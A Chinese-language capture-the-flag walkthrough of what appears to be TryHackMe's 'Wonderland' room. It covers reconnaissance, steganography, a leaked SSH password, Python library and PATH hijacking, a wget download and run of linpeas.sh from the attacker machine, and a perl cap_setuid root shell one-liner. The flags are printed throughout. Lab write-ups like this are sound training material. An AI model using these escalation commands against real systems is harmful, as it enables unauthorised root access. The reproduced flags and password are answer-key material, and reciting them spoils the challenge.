基本信息
由于tryhackme是在线靶场,所以这里的IP均为对方的内网IP
攻击机器:10.10.242.186
靶机:10.10.173.3
目标:获取2个flag+root权限
具体流程
信息收集
首先我们使用fscan进行端口扫描,fscan -h 10.10.173.3
这里开放了80端口,我们直接访问80端口即可,如下所示
首先我们使用gobuster扫一下后门路径,使用如下命令
gobuster -u http://10.10.173.3:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir
我们访问r
路径,如下所示
叫我们继续往前,keepgoing,说明我们的大体方向是对的,现在我们还需要去看看其他地方有没有信息,我们的首页还给我们提供了一张图片,我们可以去看看这张图片是否存在图片隐写的问题
steghide探寻隐藏信息
我们将这张图片下载下来
wget http://10.10.173.3/img/white_rabbit_1.jpg
我们使用steghide进行隐藏信息提取
steghide extract -sf white_rabbit_1.jpg
我们发现有一个hint.txt
,我们直接查看一下这个txt文件即可,如下所示
这里叫我们follow r a b b i t
,根据我们前期探测出来的r路径,我们可以猜测其路径结构是/r/a/b/b/i/t
我们查看页面源码,可以发现我们这里泄露了某个账户的ssh账号
alice:HowDothTheLittleCrocodileImproveHisShiningTail
我们这里使用ssh登录即可
权限横移
我们这里成功以alice账户登录了ssh,这里我们列举一下目录,如下所示
alice目录下有一个root.txt,那我们不妨猜测user.txt在/root
下,我们尝试切换目录,如下所示
thm{"Curiouser and curiouser!"}
我们成功在root目录下找到了我们的user.txt
,但是我们也发现我们根本没办法进入到其他用户的目录下,所以我们这里要进行权限横移
我们发现在alice目录下存在一个walrus_and_the_carpenter.py
文件,且我们执行sudo -l
,可以发现我们可以切换到rabbit
用户下
而且这个文件我们可以编辑,所以我们先看看这个文件干了什么
我们发现首先import random
这里我们可以伪造一个random.py
文件,我们在当前目录下创建一个random.py
文件,内容写上
import os
os.system("/bin/bash")
我们再运行这个py文件即可,如下所示
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
我们成功切换到rabbit用户下,我们再看看有没有什么我们可以利用的信息,我们首先查看到rabbit下存放在一个二进制文件
我们尝试去读取里面的函数,但是我们发现没有strings
函数,我们先尝试八这个文件下载下来,我们开启web服务,如下所示
python3 -m http.server 8080
我们使用wget http://10.10.173.3:8080/teaParty
下载到本地,如下所示
我们利用strings
函数查看该二进制文件,如下所示
我们可以看见里面有个date
函数,我们可以尝试利用环境变量进行攻击,以达到权限横移,如下所示
cd /tmp
touch date
nano date #写入/bin/bash
chmod +x date
export PATH=/tmp:$PATH
之后我们运行teaParty
文件即可,这样我们就能获取到hatter
用户的权限,如下所示
我们直接看该目录下的文件,我们可以看到目录下面有个password.txt,如下所示
我们直接登录这个用户然后进行权限提升
权限提升
我们首先尝试sudo提权,但是没有任何可以利用的信息,我们接着尝试suid提权,但是也没有什么发现,这里我们先下载linpeas.sh
来看看版本是否有漏洞
wget http://10.14.91.183/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
我们主要看标红的信息即可,如下所示
我们发现这里有一串被特别标记的,大概率就是我们可以利用的利用点
/usr/bin/perl = cap_setuid+ep 这行代码的意思是:
给 /usr/bin/perl 文件设置能力,使得它具有 cap_setuid 能力,并且这个能力是有效的 (+e) 和被允许的 (+p)。
这意味着 Perl 解释器在执行时将有能力调用 setuid() 函数,进而可以更改进程的 UID。
所以我们可以尝试使用perl进行uid的赋值,进而获取root的uid,如下所示
我们直接执行
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
thm{Twinkle, twinkle, little bat! How I wonder what you\u2019re at!}
本题到此结束